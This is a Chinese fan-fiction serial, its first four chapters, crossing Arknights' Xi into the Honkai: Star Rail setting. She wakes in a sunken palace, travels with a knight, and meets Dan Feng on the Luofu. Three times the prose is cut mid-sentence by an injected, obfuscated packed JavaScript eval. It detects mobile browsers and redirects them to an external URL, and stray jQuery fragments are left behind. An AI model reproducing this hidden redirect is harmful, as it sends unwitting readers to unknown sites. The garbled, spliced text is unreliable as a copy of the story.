《夕今天回家了吗》 1. 在崩铁的第1天 “我是谁?” “我是岁夕。” “我是谁?” “我是岁夕。” “我是谁?” “我是岁夕” …… “我是谁?” “我是……岁夕。” …… “我是谁?” “我是……岁夕?” …… “我是谁?” “我……是谁?” 无边无际的黑暗中只有她一个人孤独地站着,周身被黑暗所笼罩,什么都看不清,除了她自己。黑暗中传来的声音一遍遍地询问着,她一遍遍地回答着,直至最后在问答中忘却答案被黑暗吞噬。 华美的宫室中身着旗袍的女子骤然惊醒,猛然从床上坐起,一手扶着额头,面容痛苦。她好像做了一个梦,梦中的内容已经记不大清了,但是那种无助的痛苦与畏惧却萦绕在她心头久久无法散去。 “这是哪儿?”她记得她穿好自己花重金定制的cos服和朋友一起去漫展,刚出家门没几步就觉得头昏脑胀,再后面的事情她就不记得了。她大抵是在自己家门口晕倒了?她向来不喜欢出门,常年呆在家里。倘若这回不是朋友一直缠着她,她是绝对不会去有那么多人的地方。是她被送到医院了吗?不对,医院怎么会有这么华丽的装横? 用力甩了甩还有些混沌的大脑,夕有些茫然,她低头看去发觉自己还穿着那身旗袍,滑落到腿上的淡蓝色织物上刺绣的雪景简直要刺痛了她的眼睛。很贵,真的很贵很贵。她以绘画为生,但是光这盖在身上的被子就赶得上她画上好几个月才能赚到的钱,更别提身下柔软顺滑的床单了。 掀开被子从床上离开,穿上鞋的下一秒夕就继续感觉到了不对劲。她现在还穿着那身cos服不假,但是她那身衣服有这么好吗?答案显而易见,并没有。强忍住心中的害怕穿好鞋,夕这才得空认真环顾周围的环境。 很难形容夕现在的心情。 她无法用简单的言语描述自己当前所处的环境。金银是这屋子里再普通不过的存在了,拳头大的珍珠作为装饰被零散地嵌在四周,各色玉石随意地摆放着,各式各样的日常用品宣告着这里的主人是多么富有,还有那墙上的画卷……嗯?这画怎么、怎么看上去像是我自己的手笔?简简单单的水墨画上有飞湍瀑流、有砯崖转石,却唯独在飞瀑下缺了一笔,是她的风格,兴尽了,笔也便停了。 夕只觉得一股凉气直冲天灵盖,就连自己的尾巴都在害怕地胡乱摆动。等等!她高价定制的尾巴什么时候还学会自己动了!她僵硬地低头看向正在乱摇乱摆的尾巴,快速伸手握住这条龙尾,滑溜溜的质感毫无疑问不是那条假尾巴比得上的。她松开手放尾巴自由,急匆匆地在宫殿里找到了一面镜子。 近乎是慌乱地捧起梳妆用的圆镜,镜中倒映出的脸是她自己的,但是这头上的龙角和与往日截然不同的长发却宣告着事实——岁夕穿越了,穿成了夕。 夕只觉得自己的心情难以言喻,她说不清道不明自己现在的想法,只觉得首要的任务是冷静。静下心来却只觉得好像倦鸟归巢游子还乡,又无端生出一种落叶归根之感。她抬起手,长剑跟随心意出现在手上,犹如本能,犹如天性,挥剑泼墨,小巧的生灵便从墨中睁开了眼睛。 “阿咬。” 阿咬抬头看夕,好似在询问发生了什么。 “无事,回画卷吧。”夕抬手送阿咬进了画卷,凝视自己失忆后作的画放下了部分心事。不需要考虑那些了,她就是夕。至于是先有的岁夕还是先有的夕,究竟是谁穿成了谁,这就更不用纠结了。无论如何,现在站在画前的是她,画出这幅画的也是她,这就足够了。 夕收起剑,想从这宫殿里找出些东西。现在已经静下心来,之前看不出来的事实此刻都被她看得一清二楚。从细处看,这宫殿虽然华丽奢靡不是她常有的风格,但却无一处不符合她的审美和爱好,东西的摆放也大多和她日常的习惯相同。 她会把重要的东西放在哪里呢? 按着习惯正准备打开柜子,柜上放着的一摞信件却吸引了她的注意力。 感性告诉她,你没有学过这种字。理性告诉她,你认识这些字。 陌生的字体能被她读懂这本身就是一种异常。夕打开最上面的信件,纸张雪白印有朵朵浪花,苍劲的字体构成了信的内容。 我的弟弟?无论是岁夕的记忆还是夕的记忆都在茫然。她哪里有这么一位会这样写字的弟弟? 她向末尾看去,落款是雨别。 陌生的名字却给她一股亲切感。细看信件里面的内容又让她忍不住地不想承认。 单单是迁往仙舟联盟和引古水镇压建木就足以引动她脑海中的那根弦了。她穿越到了那个叫做星穹X道的世界。不应该是明日X舟吗?停。信息量有点大,她需要整理一下。 她,夕,不管到底是谁穿成了谁。首先她失去记忆成为了不朽的龙裔,还是不朽尚在世时的龙裔。然后,她因为不知名原因一口气沉睡到了五龙迁徙的时间点之后,恢复了记忆又丧失了穿越后的全部记忆。 她需要缓缓。 夕缓缓吐出一口气,从后往前一封又一封地阅读着信件,尽管这些字迹她都不认识,但是她能从里面感受到浓浓的关爱。是亲人,是朋友。她不禁想起了重岳,想起了年,想起了最初诞生时尚与兄弟姐妹在一起的时光。 她拿着信进入画卷,果不其然在山涧旁发现一栋小屋,步入其中,放好信件。 她想要去宫殿外看看,看看如今的汤海是何种模样,于是她出了画卷,提好手中的剑。 她可还没忘记,剧情中可是说了汤海在不朽陨落后到处充满了威胁。 夕打开了宫殿大门。 夕合上了宫殿大门。 夕打开了宫殿大门。 夕合上了宫殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201017|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门。 夕打开了宫殿大门。 事不过三,夕认命了。 难以对出现在眼前的一切做出评价,实在是难以言喻。螃蟹长得奇大无比,从甲壳上伸出千只腿来,若不是前些日子去过博物馆见过各种各样的螃蟹,她都认不出来。还有那鱿鱼,身体和难以数尽的庞大腕足比起来着实是太过微小。更别提尖刺变得柔软可卸的海胆和腹部足有十分之九个身子那么大的海鱼。 提剑的女子一手扶门一手提剑,身后的龙尾巴暴躁地四处抽打着,提剑的手微微颤抖。眼前的一切对她来说冲击力有些太大了。 她突然就想起了海嗣。同样都是生活在海洋中的生命,为什么偏偏这里的海洋生物会让她觉得如同海嗣一般恶心? 突然有了一种想要教训自家熊孩子们的感觉,还是用剑鞘狠狠抽上几下的那种。完全不知道遥远的宇宙另一头持明全族突然直打哆嗦的夕深呼吸放平了心态。 她为什么会有这种心态?总不能是她在持明族内辈分奇高吧? 好像确实如此。 冷静下来的夕抬头望着眼前的一切,放下长剑提笔作画。这眼前的景象诡异极了,可倘若合在一起看倒也有些趣味。兴致来了就画,兴致尽了就放笔。无论是岁夕还是夕,都是这样的性子。 不用质疑被后天改造的身躯究竟痛不痛苦难不难受,异兽的形象跃然纸上。单单只是看着这图画,就足够使观者感受痛楚了。 画完海中异兽,她又向上游去,不管那些四处游荡的海兽,她把宫殿绘出。 画卷中的海连上了另一片海,海里多出来宫殿和异兽。 如此,便画好了。 接下来做些什么呢……倘若是往日她兴许会选择待在画卷里或是待在家里,偶尔到来的访客也很少会扰了她的安静。或许是这宫殿里太过寂寥了吧,没有人烟更没有声音,深海哪怕光亮都很少,身为岁夕的那一部分让她对这里不是很喜欢,而身为夕的那一部分更是明明白白地表明了讨厌。 嗯?为什么会如此厌恶海洋?不、不是厌恶海洋,厌恶的是更深层次的东西。不过现在的她什么都不记得了,只留下这部分本能在表达着自己的情绪。看来她失去的不仅是穿越后的记忆,更早之前的身为夕的记忆也同样少了一部分。 那就选择离开吧,离开这个地方。 画个航空设备如何?可她不仅不会开,也没亲眼见识过,更不要提她不认识宇宙间的道路了。那么从画卷中离开如何? 她的画卷里绘出的门会连接外界的一些地方,这是她阅读信件时知道的。写信的那位持明还兴高采烈地写等她醒了还想继续一起从画卷中溜出去玩。只是如今她失去了记忆,那些门都通向哪里她一概都不记得了,那些或许是用画笔陪着小持明们一起玩闹的日子也不记得了。 难得被心中情绪弄得有些惆怅的夕反身游回了宫殿,将大门关好,决心去画里走一遭。 2. 在崩铁的第2天 “鬼啊!” 最先进入耳朵的声音就是一声凄厉惨淡的尖叫。 夕的动作顿了一下,然后继续向前探出头去,最先映入眼帘的就是一位蓝发青眼的骑士,身着洁白的甲胄,手持长弓,精神奕奕却偏偏一脸惊恐。 看见从树木里出来的是一个年轻貌美的女子,骑士顿时涨红了脸:“姑娘不好意思……我看这棵树上那么瑰丽的图案,忍不住想赞美一二,看见您伸出来的手臂还以为是丰饶民设下的陷阱,这才不慎冒犯了姑娘。” 夕彻底踏出了这扇门,顺着骑士的目光看向自己的手臂,花青、石青、石绿和朱砂等多色交织在一起,在身后藏青色枝叶的衬托下看上去多少是有些怪异。她沉默了片刻才回应道:“无碍,不是你的问题。至于树上的图案,那是我曾经留在这里的画。” “不、不对,就是我的问题。姑娘这手臂上的颜色粗看上去好像杂乱,然而细看上来却井然有序,这配色衬托着姑娘就好像山涧的青松,苍劲美丽。”骑士红着一张脸俯身行礼,“相识这么久还未向姑娘介绍我自己实在是失礼。我叫维尔特·皮尔斯,是一名隶属于纯美骑士团的骑士。” “夕。”她未曾在面前青年的身上感受到恶意,因此她坦然说出了真名。 “姑娘原来叫夕,这名字和姑娘真是相符,就好像……” “不必如此。”夕打断了维尔特绞尽脑汁地思索赞美的过程。赞美没有错,但是如果只是为了赞美而赞美,那么赞美的话语再怎么华丽都不过是废话罢了。 维尔特又红了脸:“说来惭愧,我是纯美骑士团的骑士,却偏偏不擅长赞美。” “对了,夕小姐……您是持明一族吗?等等等一下!我没有恶意,只是曾经到过仙舟罗浮,见过持明的饮月君,您和那位饮月君长得有些相似,所以才这样询问。”维尔特着急忙慌地想为自己辩解一二,“我是无意间闯入了仙舟和丰饶民的战场又受了重伤才到了罗浮的,我对您并无恶意。” “我知道。”夕点点头,“你知道那位饮月君如今的名字吗?”她心中有个声音在催促她寻找如今的持明。 “我记得现任的饮月君叫做丹枫。” “可以拜托你帮我引路到罗浮吗?”所以现在的时间是在倏忽之战以前? “当然可以,帮助您这样美丽的女士是我的荣幸。夕小姐打算什么时候出发?” “你很着急?”夕有些疑惑,她忽然想到了维尔特先前言语中的丰饶民。 维尔特忍不住握紧了手中的弓,犹如宝石般晶莹剔透的眼中满是愤怒:“我三年前误入丰饶星神信徒的实验场所,他们愧为人类!您可能未曾见过那样残忍的景象,他们已经是疯子了!我在这座星球附近的洗车星了解到这里一年前有丰饶民路过,您又是持明,我担忧他们会对您下手。” “原是如此。”夕看向四周郁郁葱葱的森林,身旁古树参天,苍翠欲滴。这里的美好出自不朽的庇佑,只是不知何时原本庇佑这里的结界被破坏掉了。根据结界破坏的程度以及消散的力量来计算的话,应当是一年前结界被打碎了。 “那就如你所说,尽早离开吧。”她打量着周围残存着不朽气息的破损结界,不予置评地点头同意,力量毫无声息的散发开来,修补起结界。她最好快些离开这里,似乎从她发现破碎的结界开始,脑海里便出现了阵阵嗡鸣声,像是有人在窃窃私语。 维尔特转身指引着道路:“我的飞船就停在不远处。还请姑娘放心,以纯美女神伊德莉拉的名义起誓,我必定会把您平安送到罗浮。” 夕一边跟着维尔特走,一边看着周围的景色,有些许眼熟,但是她却已经不记得了。这是她与那些持明的孩子们一同玩闹的地方吗?她想象不出来自己和一群孩子一起玩耍的场景,但是心头却无端浮现出怀念与悲伤的情绪——怀念那段时光,悲伤昔日的同胞已经死去或者蜕生。 察觉到身后女子的情绪有些低落,正一心二用又是夸赞又是警惕的维尔特也不觉逐渐放低了声音,最终闭上嘴巴,老老实实警惕周围。 安静的氛围最终却是被扯高气扬的声音打破了,仔细听来还带着些恼怒:“喂!纯美的骑士!为什么我们进不去了!我是不是警告过你这里是我们公司的地盘!这片森林可是公司的财产,可是要用来做大生意的,你赔得起吗?” “你说,这里是公司的财产?”夕看向面前穿着西装一脸愤怒的男人,很好,他确实是被自己刚修复好的结界拦在了外面。 “持明的龙女?哈?我管你什么身份,擅自闯入我们的地盘,怎……” “够了!”夕的心里又无端生出了愤怒,什么怀念,什么悲伤,在这股愤怒的面前全部都要让道。 “这里乃是不朽庇护之所,什么时候成了你们的地盘!哪怕是存护的追随者,这样的行为未免也太过过分了些!”赤红的眼瞳中承载的是无边的愤怒,有什么在主导着她的情绪,他们在呼喊着说,把这胆大的家伙捏成虫子! “哈?这位龙女也太过说笑了吧,谁不知道不朽的龙早已陨落,你又有什么证据作为证明?”公司的代表显然没有察觉到危险的来临,还在继续说着什么,“说来还未请教你的尊号,您是龙女,是仙舟方壶的尊长?” 强行压下脑海中的熙熙攘攘,夕面无表情,身后的龙尾不停地摆动:“证据?证据便是这处被破坏的不朽的结界,便是那些树上历经千年岁月未曾消失的画迹!至于尊号,我诞生之时,持明尚未存在龙尊的概念。”她感受到脑海中的窃窃私语变成了大喊大叫,声音的主人在试图裹挟着她的情绪一同愤怒。这些家伙……比那老东西还要烦人! 公司的代表还想继续说些什么,维尔特急得像是风火轮一般,左看看右看看,想劝这个又想劝那个,但是无论看向哪边,都会在嘴刚张开的刹那间被送上眼刀。 这可如何是好?维尔特是虚无的命途行者,本就不善言语,在偶然间被纯美骑士传教信仰纯美后才坚定起来,多多少少也学会了该怎么说话为好,可面对这种情况他也是无能为力。他越来越急,因为他看见夕持剑的手在不住地轻颤。他见识过现任饮月君在战场上大杀四方的场面,知晓这些龙尊们的战斗力是多么强悍,他生怕夕被彻底激怒。 使三方对峙变成三方合作的是盛开的莲花对他们的攻击。 “什么时候……连丰饶都敢于挑衅不朽!”似乎有掺着青色的墨色巨龙在夕的身后一闪而过,被强行压下的声音此刻统一了思绪,他们不在乎要怎么处置这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201018|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出言不逊的短生种了,他们要这丰饶的追随者全部遭到来自不朽的报复! “操戈杀伐,血流成河……这些我同样会画!”赤红长剑上的赤色更为鲜明明亮,剑锋挥出的不再是墨色的笔画,而是鲜红的杀意。或许夕心情好时作战会画《沙场白骨图》一类的画作,但是此刻她的心情连不好都算不上,更别提在她脑海中疯狂叫嚣着的声音带来的影响了。 哪怕是耳边公司代表惊惧的呼喊和骑士高声赞颂纯美女神的声音都无法唤醒此刻的夕。站在这里的已经不是纯粹的转生为持明族的失忆后的岁夕和夕的混合体,而是一个被狂躁的情绪所影响的持明龙裔,肆意妄为。 挥剑泼墨,莲花被一斩为二。夕其实并不擅长武力,倘若让她持剑斩杀些什么就只是空谈,老老实实参加罗德岛的测试时也只得到了一连串的“普通”和“标准”。但是站在这片森林中的是夕,也不止是夕,远古的龙裔由不朽所创造,他们被称呼为不朽的一部分也不为过。夕还尚未经历过蜕生,她毫无疑问是最初诞生的龙裔之一,而她也不仅是龙裔,她同样也是岁兽的碎片之一,哪怕转生为龙裔也持有着来自岁兽的权能。 来自不朽的力量可以让生命被肆意揉捏,型随意动。如果再加上夕的权能和画技呢? “都给我去画卷里好好反省吧!”夕喘着气把脑海里的声音全都赶了回去,她冷眼看着面前瑟瑟发抖的造翼者,挥手把他们全部关进了画卷中的一角。 “这、这位大人……”公司的代表同样也在瑟瑟发抖。 维尔特惊得长大了嘴巴,他想,这哪是一场战斗,这分明是艺术。这就是持明吗? “总之……不要再来这里了,结界的破坏是丰饶所为,身为存护的追随者,你就不要再参与到这件事情了。”很难说公司的人是不是被丰饶民引来的,暂时摆脱了声音影响的夕不打算为难对方。 公司代表急得不得了:“可是、可是公司半个月前就决定把这里的木材拿去做东西了啊,我这我这怎么都补不上这个坑啊!”他急得忍不住想扑过去抱住夕的腿,说什么都不能让夕离开。 “这幅画你且拿去吧。”夕躲过男人的飞扑,抬手扔出一幅画卷,“嗯?很好,既然你既不喜欢也不讨厌,那就刚刚好。”这是岁夕闲时所作,画中是海边灯塔,漆黑无光的夜晚只有灯塔屹立在杂乱无章的海边。 公司代表手忙脚乱地接过画,尽管他不是什么有关艺术的人才,他也能感受到这幅画带来的价值。单单只是看到这幅画就忍不住地恐惧,就好像海里藏着什么恐怖的东西,天空上的黑暗也不仅是黑暗一样。 他粗略估算一二,这画能补上做建材的树木价格!干了!留着这片森林也好,和持明龙尊打好关系,也能给公司带来不少价值。 “欸,好好好,您慢走啊。”他忍不住带上了谄媚的笑。 夕撇过头不再看他,她看向了维尔特:“你可还愿意带上我一程?” “当然,能为您这样的女士服务是我的荣幸。”维尔特露出一个笑容。那些丰饶民可不是盯着这位龙女来的,他们盯上的是森林。今天要是这位龙女没从画里出来,他的命可都要折在这里了。只是带这位龙女去罗浮而已,根本比不上龙女救下的他这条命。 3. 在崩铁的第3天 夕跟随维尔特上了飞船,在征得飞船主人的同意后,她在飞船的内壁上画了一扇门,住了进去。 这时候维尔特才终于明了什么叫做“那是我曾经留在这里的画”。让他稍微想象一下,公司的行为可不就是闯进了人家的花园,还要拆了人家家中的大门吗?换他站在这个位置,他也会生气。至于丰饶民,那就是拆了人家花园外的栅栏,还要把别人的花园变成实验室的疯子。 哪怕只是一扇门也是极为美丽的,若是他的同僚在此,恐怕能从不同的角度把这扇门夸出朵花来吧?他的修辞还需要再多练习一下啊,现在的他恐怕也只有脸符合纯美骑士团的要求了吧?维尔特感慨一二后就老老实实的开飞船,继续自己每日的日常了。他是对夕带来的一切感到好奇,但是他又不是变态,怎么说都不会在未经过主人家允许的情况下添乱。而且安静到近乎不存在的临时室友,怎么会有人不满意呢? 夕也对这个临时室友很满意,有好奇心但是也很懂分寸,不会东问西问也不会给她添乱子。她这些时日都待在画里,很少会在飞船上待着,和维尔特有交际但也不多,正正好在她习惯的范围内。 她这些时日多是在研究那日脑海中的声响到底来自于什么,她能感觉到这些声音和自己身上的不朽力量似是出于同源,除此之外却也没什么了。这些声音并不会主动搭理她,好像只有那种被外界所刺激到的状态能让他们开口。她也同样察觉到这些声音在画卷的海里会更活跃一些。有着被岁兽意识打扰的经历,她或多或少对这些声音的来源有些猜测。 夕失去了作为持明转生后的记忆,自己并不记得过去都发生过什么,画卷中多出来或是缺少的那些部分她同样不知道都是什么。但是唯独这些海她印象颇深。她记得自己画过伊比利亚阴沉可怖的海,但是这里并没有这片海,她不记得自己在之前画过汤海,但是这里有这片海。 她伸出手放进海水当中,水温和地没过她的手,她只觉得这片海使她感到温馨和依恋,就仿佛旧日里十二个兄弟姐妹还聚在一起时的样子。与之相邻的另一片海和这片海域泾渭分明,给她传来感觉确是寂寥与畏惧。不朽陨落前后汤海的对比,当真是明显。 半蹲在地面上的女子想要起身,却愣在了原地,她觉得自己好像抓到了什么。不朽?沉下心来细细感知,她确实在水中感知到了不朽的力量。这绝对不是她的手笔,她无法画出来自命途的力量,更别提是如此浓郁的不朽之力了。 她的画里为什么会有不朽的力量? 来自何处?又为何而来?总不至于是不朽本尊亲自注入了力量吧?她的画卷哪里承载得了来自星神的力量?等等,画卷足以承载不朽力量的她,现在又是个什么情况?夕难得觉得遍体生寒。 她不怕死,但是也会在面对未知时感受到恐惧。 夕收回手,站起身子,感受着手臂上逐渐滴落的水,缓缓陷入了思考,接下来该怎么做为好?她有些茫然。 要去水里看看吗?算了,等到了罗浮再说吧。现在毕竟是在人家的飞船上,在茫茫宇宙中航行着,若是突然出了什么事,自己可能无事,但是维尔特作为一个普普通通的人类是绝无可能在宇宙中什么都没有地活下去的。 暂且按耐住自己想要去海里看看的想法,夕转身回了自己的木屋,自然也就不知道海面上忽然掀起的浪花和水下一双睁开又合上的巨目。 也不知道在宇宙航道里究竟航行了多少天,等到达罗浮的时候,维尔特船上带的食物都用完了好一阵,全是靠着夕无奈画出的吃食过日子。 “终于到了。”听见玉界门那边传来的声音,维尔特简直快要泪流满面。巡猎过程中的仙舟是真的难追啊。他离开那颗星球时也是傻,居然忘记补充食物了,如果不是有夕在的话他非得是饿死在宇宙里。这种死法不仅一点都不美,甚至还有点傻,绝对是那种可以登上宇宙飞船驾驶手册负面案例的那种死法。 夕从画卷走出,闻言也有些无奈,她不需进食,也没想到会有这种问题。 没等她做些什么,周围的环境就瞬间变化,以蓝色作为主体色彩的半人马低头看向了她。 “夕,见过帝弓司命。”夕意识到自己是被巡猎的星神盯上了,“我自汤海中来,前来寻亲,或许会在仙舟常住。” 遥遥地看着祂轻轻点头后离去,她已经不在命途狭间了。 说起来……普通的不朽龙裔会被这样注意到吗?是她身上来自不朽的力量吸引了这位星神?但如果只是普通的命途行者哪里会被这样注视,除非她不只是命途行者。她该不是令使吧?夕陷入了思考。 “夕小姐?”维尔特一回头就看见夕站在一边思考,不禁有些好奇。这位龙女莫非是近乡情怯? 夕缓过神来,暂且放弃了思考这个问题:“需要我把画涂掉吗?”这么一扇门留在飞船里面,大多数人都不会喜欢吧? “这倒不用。夕小姐什么时候想来还能再来,我这儿永远都欢迎你。”维尔特和夕相处的时间久了本性也显露出来了,大大咧咧的性子和纯美骑士团的风格根本不搭。 停好飞船,夕跟在维尔特身后下船。 只是一瞬间的功夫,周围的目光全都聚焦在夕身上了。 维尔特不是仙舟本地人,对持明族也是不甚了解,他还以为持明是都不怎么喜欢把龙角龙尾露出来呢。他自然也不知道如今的持明只有龙尊才能显露龙相。 夕则是本身就不怎么在意这件事情,也没想到会有这么多的目光看过来。 本质上多少有些社恐的夕皱了皱眉,朝维尔特道谢:“多谢你帮忙,他日若有难,去那扇门中寻我即可。” “好,夕小姐慢走啊。”维尔特挥挥手权当告别。 夕很快就在人群中找到了自己的目标。尖尖的耳朵还有身上微弱的不朽气息,是持明没错了。 “请问你可以带我去见现任的饮月君吗?”夕从画卷中出来时就把雨别留下的信带在了身上,这封信作为证明再好不过。 “我刚从汤海中苏醒不久,看见雨别留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201019|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信中说持明迁徙到了仙舟。” 夕有些疑惑:“怎么了?”这位持明面色惊恐,就好像看见了什么不得了的事物一样。不是在看我,我的后面?后面有什么吗? 夕回头看去,只见一艘星槎高速破空而来,坐在最前面的狐人同样一脸惊恐,死死扒着星槎的边缘。狐人飞行士的身后四个人同样惊恐,其中一位头顶峥嵘龙角,在和她对视的一刹那表情空白,仿佛自己在捣乱的过程中遇到了监护人。 “丹枫哥快松尾巴!要被勒死了!”尚且只是云骑骁卫的景元满脸痛苦,他今天就不该应了白珩的邀请来坐星槎!你们真的要永远失去我这个好友了! “前面的人快躲开啊!” “龙女大人快跑啊!” 两道声音完美地重合在了一起。 但是已经来不及了,身体的本能促使她率先推开了身后的持明族人,撑开简单的防御,然后自己和星槎进行了一场亲密接触。 这就是要回归岁兽的感觉吗……好生熟悉……夕被星槎冲击得往后退了几米,手中的信件飘飘扬扬地掉落地面,最终她安详地躺在地上闭上了眼睛。 “夕姐!夕姐你不要死啊!”似乎是本能一般,向来冷静沉稳的饮月君只感觉这幅画面在哪里见过一般,慌忙跳下星槎,用于治疗的云吟术死命地往夕身上施展。 夕觉得自己要被奶吐了。 “你……给我……住手……我,没事。”颤颤巍巍地扶住丹枫的手站起身来,夕深呼吸了几口缓过气来,“你别治了,再治我就要被你治吐了。”虽然她真的不擅武力,但是身为持明的她真的没有那么身娇体弱。更何况星槎上的五个人也在努力控制星槎了,倒不如说是如果自己没站在那里的话,他们也一定能够在撞上那位持明前停下的。 “夕姐。”丹枫也不知道自己为什么会生出这般心态,就像是仙舟人被家长教训似的。他搀扶着夕,一动不动。 白珩捡起落在地上的信,不好意思地递给夕:“真的抱歉……这是你的信。”天哪天哪!这场飞行事故有点太大发了!要不是这位龙女也张开了些许防御,那说不准自己都能直接进幽囚狱了!罪名还是谋害持明龙尊! 夕摇摇头表示无碍:“我还好,更何况他已经给我治疗过了。” 她收好信件看向丹枫:“你……还记得我?” “我只记得,你好像是姐姐。”丹枫垂眸,他看见了信件落款上的雨别,这是那位最初的饮月君。她会把自己视作雨别吗? “哈……倒也没什么。持明转生即为二人,可以告诉我你的名字吗?”胸膛中生出的这股情绪是怜惜?夕也说不清楚。她在岁兽的碎片中排行十一,仅在下面有个弟弟。这也是她的弟弟,没毛病。 “我叫丹枫。”她没把自己认作雨别,丹枫松了口气的同时又有些不高兴,是因为她没把自己认作雨别?丹枫不懂了。他突然陷入了沉思,持明蜕生即为二人,到底是怎么一个二人?倘若真的只是二人,为什么他会因为夕的态度而心起波澜? 4. 在崩铁的第4天 “那什么……那我,先带着星槎走了哈。”白珩打破了夕和丹枫之间的寂静,她警惕地四处看着,“超速驾驶星槎还撞了人……我还不想被云骑带走。这回要交的罚款肯定很多,我还想着买东西呢。” “白珩姐……可是已经晚了。”景元对白珩施以同情的目光,他可看见了,自己的同僚们早就准备围上来了,只是他和师父都在,这才没直接过来。一头长发酷似大猫的云骑骁卫点了点头,表示自己绝不会合流同污。 镜流无奈地看看好友和弟子:“走吧,想必将军已经在等我们了。” 丹枫不由得有些迟疑,单纯的其他地方的龙尊来访,会有这样大的动静? “不必担忧,我初到罗浮便已与帝弓交谈过,我能来到这里也是经过允许的。”夕拍了拍丹枫,权当安慰。与此同时一个疑问在她心中浮现——转世那么多次后的饮月君,为什么还会因为第一世认识的人而有情绪波动? 应星正扶着腰看热闹,就被叫了一声,他震惊地扭过头看向好友们:“我也要去吗?我发誓这回白珩的设备改造我没帮忙!” “当然,这么大的事情自然要去向将军说明。只是要冒犯一二了。”镜流看向夕,心中早有了计划。 应星这才放下心来,原来是和这位龙女有关,和白珩飙车没关系啊。太好了!他也不想交罚款,他还惦记着买些新奇的材料试试呢!还有他这腰……星槎这么一撞,他的腰直接磕到了护栏上,想必是要去丹鼎司看看了。 丹枫撇了一眼有些不着调的好友,云吟法术悄然凑了上去。 夕把一切都看在眼里,头疼地听着脑海里比一群苍蝇凑一起还吵的动静,只觉得自己仿佛处身菜市场。她喜静,哪里被这么闹过。 那些声音在她脑海中嚷嚷着,只可惜一点有用的信息都没有。全是在叫嚷着怒骂雨别等五位龙尊远离故土擅自引动古海水的,有些个别的也是在叫着饮月君凭什么为了一个外族动用法术。 镜流和景元带路,他们四个跟在后面,很快就到了神策府。现任的太卜刚好与他们擦肩而过。 腾骁将军接到信后早就等在里面了,他眉头紧锁,抬头看向夕。果然,是一位令使。 “我觉得这枚碎片就可以为我作证了。”夕递出金黄的碎片,这是她从命途狭间出来后出现在手上的,大抵就是作为凭证的吧。巡猎的星神应当是刚出完一箭就发现了她,来不及干别的就先把她拉进了命途狭间。 “倒不是说质疑您为什么要来罗浮,只是在不朽陨落的现在,一位不朽令使突然出现……我多少有些担心。”腾骁摇摇头否定了夕的说法。 听到腾骁的说法,夕心里的一块大石头先落了地:“不,不朽已然陨落,这是事实。我能存有这份力量是因为我从未轮回蜕生过。我在不朽离去前就陷入了沉睡,时至今日方才苏醒。”夕活了千年,哪怕常年避世,她的阅历也远比他人丰富,腾骁的想法很简单,也很容易被她看个明白。持明是不朽的后裔,也是仙舟联盟中的一员。他担心不朽令使的出现会对仙舟上的持明造成影响。不说别的,单单是大部分成员都是持明的方壶就足以让仙舟多想了。 丹枫似乎想要补充什么,但是最后他只是疑惑地冷了脸,他刚刚……想干些什么? “不要继续想下去了,你是丹枫,你不是雨别。”夕想敲敲丹枫的头,但碍于身高变成了拍拍他的肩膀。 “原是如此。那您的相关事项我就不多做过问了。”腾骁点点头,反正帝弓已经为这位龙女做了证明,他询问这些事情也只是想确定会不会对仙舟有什么影响罢了。 夕和丹枫离开了将军府邸,向鳞渊境所在的洞天走去。 “你……” “我……” “你先说。”又是异口同声。 夕难免想到了自己长居京城百灶的弟弟,只是他们两个可不会如此。 “你可愿意让我给你做些检查?”夕先开口说道,“我虽然对持明的轮回蜕生不甚了解,但是无论如何你也不应当还有这些本能。”就如同岁兽分成碎片十二,他们谁都对过去没有那么多的记忆……或许大哥还会有些?她不知道。 “好。”丹枫张了张口。他身为持明龙尊,同族敬畏他,龙师对他包含的也大多是贪婪,很少有持明会对他平等地包含着友善的情绪。他突然想到了正在研究的化龙妙法,这位姐姐……会认同他吗?会帮助他吗? “我为你说说持明现在的状况吧。”丹枫垂下的眸子里藏着浓厚的厌恶,他讨厌极了那些龙师。 一言一语间,鳞渊境就到了。险些被撞到的那位持明早就回到族中通风报信,因此迎接他们的是待在洞天入口处的持明龙师。 有些恶心。他们的目光只让她想起了隐于庙堂之后的那些人,贪婪极了。既舍不得他们能带来的利益,又畏惧他们会危害他们的利益。夕还没说些什么,龙师们就忍不住了。 “这位龙女大人,敢问您的尊号?”这位没见过的龙女会是族中记载的谁?看上去就很好掌握的样子。 夕软软的语调里藏着的信息量简直要把龙师们急坏了:“我诞生的岁月里,不朽的龙裔中并没有龙尊的概念,自然也没有尊号。” 看向她的眼神更火热了些,好像她是什么长生药,人人都想咬一口。想回画卷了,他们的目光太讨厌了。 “原来如此原来如此……”龙师们激动极了。 